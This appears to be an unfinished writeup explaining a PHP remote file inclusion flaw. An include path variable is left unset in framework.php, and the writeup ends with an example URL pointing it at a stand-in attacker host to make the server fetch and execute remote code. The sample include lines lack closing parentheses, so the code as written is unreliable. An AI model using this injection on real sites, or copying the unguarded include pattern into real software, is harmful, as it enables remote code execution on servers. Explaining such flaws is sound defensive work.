This writeup is in progress. Please check back in the next few hours.

// config.php
<?php
$inc_dir = '/var/www/includes/';
?>


// index.php
<?php
include('config.php');
include($inc_dir.'framework.php';

doStuff();

?>


// framework.php
<?php
include($inc_dir.'functions.php';
// do other stuff as well
?>


// functions.php
<?php
function doStuff(){
    echo 'I just did stuff';
}
?>

Normally when framework.php does its include, it would
be getting the local file /var/www/includes/functions.php

But, since framework.php doesnt include the config.php itself, its possible to be missing
the value for $inc_dir.

http://www.site.com/includes/framework.php?inc_dir=http://www.badguy.com/hackthem/

If any file under http://www.badguy.com/hackthem/ responds with legit PHP code, then it will get executed fron the server